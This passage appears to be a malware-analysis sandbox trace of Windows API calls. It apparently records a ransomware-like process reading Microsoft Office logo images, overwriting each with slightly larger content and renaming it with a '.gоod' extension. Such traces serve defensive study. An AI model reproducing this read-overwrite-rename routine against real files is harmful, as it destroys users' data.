lpOverlapped=0x0 | out: lpBuffer=0x39f2dc0*, lpNumberOfBytesWritten=0x1fcee148*=0x800, lpOverlapped=0x0) returned 1 [0241.803] CloseHandle (hObject=0x860) returned 1 [0241.803] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x66 [0241.803] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-140.png.gоod", lpFilePart=0x0) returned 0x6b [0241.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0241.804] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8c55c95d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1 [0241.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0241.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-140.png.gоod")) returned 1 [0241.805] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x66 [0241.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0241.805] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x39f4110 | out: lpFileInformation=0x39f4110*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9c7)) returned 1 [0241.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0241.807] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x66 [0241.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0241.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0241.807] GetFileType (hFile=0x860) returned 0x1 [0241.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0241.807] GetFileType (hFile=0x860) returned 0x1 [0241.807] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x9c7 [0241.807] ReadFile (in: hFile=0x860, lpBuffer=0x39f4e70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x39f4e70*, lpNumberOfBytesRead=0x1fcee238*=0x9c7, lpOverlapped=0x0) returned 1 [0242.082] CloseHandle (hObject=0x860) returned 1 [0242.615] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x66 [0242.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0242.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0242.616] GetFileType (hFile=0x630) returned 0x1 [0242.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0242.616] GetFileType (hFile=0x630) returned 0x1 [0242.616] WriteFile (in: hFile=0x630, lpBuffer=0x387bdd0*, nNumberOfBytesToWrite=0x9d0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x387bdd0*, lpNumberOfBytesWritten=0x1fcee148*=0x9d0, lpOverlapped=0x0) returned 1 [0242.616] CloseHandle (hObject=0x630) returned 1 [0242.616] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x66 [0242.617] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-180.png.gоod", lpFilePart=0x0) returned 0x6b [0242.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0242.729] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8cd1c33f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9d0)) returned 1 [0244.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0244.419] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-180.png.gоod")) returned 1 [0244.485] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x65 [0244.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0244.485] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x3940ef8 | out: lpFileInformation=0x3940ef8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x637)) returned 1 [0244.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0244.485] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x65 [0244.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0244.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.486] GetFileType (hFile=0x630) returned 0x1 [0244.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0244.486] GetFileType (hFile=0x630) returned 0x1 [0244.486] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x637 [0244.486] ReadFile (in: hFile=0x630, lpBuffer=0x39418c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x39418c8*, lpNumberOfBytesRead=0x1fcee238*=0x637, lpOverlapped=0x0) returned 1 [0244.487] CloseHandle (hObject=0x630) returned 1 [0244.498] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x65 [0244.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0244.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.498] GetFileType (hFile=0x630) returned 0x1 [0244.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0244.498] GetFileType (hFile=0x630) returned 0x1 [0244.499] WriteFile (in: hFile=0x630, lpBuffer=0x39bafc8*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x39bafc8*, lpNumberOfBytesWritten=0x1fcee148*=0x640, lpOverlapped=0x0) returned 1 [0244.499] CloseHandle (hObject=0x630) returned 1 [0244.499] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x65 [0244.499] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-80.png.gоod", lpFilePart=0x0) returned 0x6a [0244.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0244.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8df116f5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x640)) returned 1 [0244.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0244.499] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-80.png.gоod")) returned 1 [0244.500] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x66 [0244.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0244.500] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x39bc318 | out: lpFileInformation=0x39bc318*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x717)) returned 1 [0244.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0244.500] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x66 [0244.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0244.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.501] GetFileType (hFile=0x630) returned 0x1 [0244.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0244.501] GetFileType (hFile=0x630) returned 0x1 [0244.501] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x717 [0244.501] ReadFile (in: hFile=0x630, lpBuffer=0x39bcdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x39bcdc8*, lpNumberOfBytesRead=0x1fcee238*=0x717, lpOverlapped=0x0) returned 1 [0244.502] CloseHandle (hObject=0x630) returned 1 [0244.513] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x66 [0244.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0244.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.514] GetFileType (hFile=0x630) returned 0x1 [0244.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0244.514] GetFileType (hFile=0x630) returned 0x1 [0244.514] WriteFile (in: hFile=0x630, lpBuffer=0x3a38b50*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3a38b50*, lpNumberOfBytesWritten=0x1fcee148*=0x720, lpOverlapped=0x0) returned 1 [0244.514] CloseHandle (hObject=0x630) returned 1 [0244.514] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x66 [0244.514] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-100.png.gоod", lpFilePart=0x0) returned 0x6b [0244.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0244.514] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8df38284, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x720)) returned 1 [0244.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0244.514] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-100.png.gоod")) returned 1 [0244.515] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x66 [0244.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0244.515] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x3a39ea0 | out: lpFileInformation=0x3a39ea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f7)) returned 1 [0244.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0244.516] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x66 [0244.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0244.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.516] GetFileType (hFile=0x630) returned 0x1 [0244.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0244.516] GetFileType (hFile=0x630) returned 0x1 [0244.516] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x7f7 [0244.516] ReadFile (in: hFile=0x630, lpBuffer=0x3a3aa30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3a3aa30*, lpNumberOfBytesRead=0x1fcee238*=0x7f7, lpOverlapped=0x0) returned 1 [0244.517] CloseHandle (hObject=0x630) returned 1 [0244.529] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x66 [0244.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0244.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.529] GetFileType (hFile=0x630) returned 0x1 [0244.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0244.529] GetFileType (hFile=0x630) returned 0x1 [0244.529] WriteFile (in: hFile=0x630, lpBuffer=0x3ab46c8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3ab46c8*, lpNumberOfBytesWritten=0x1fcee148*=0x800, lpOverlapped=0x0) returned 1 [0244.530] CloseHandle (hObject=0x630) returned 1 [0244.530] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x66 [0244.530] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-140.png.gоod", lpFilePart=0x0) returned 0x6b [0244.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0244.530] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8df5db5e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1 [0244.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0244.530] MoveFileW (lpExistingFileName="C:\\Program 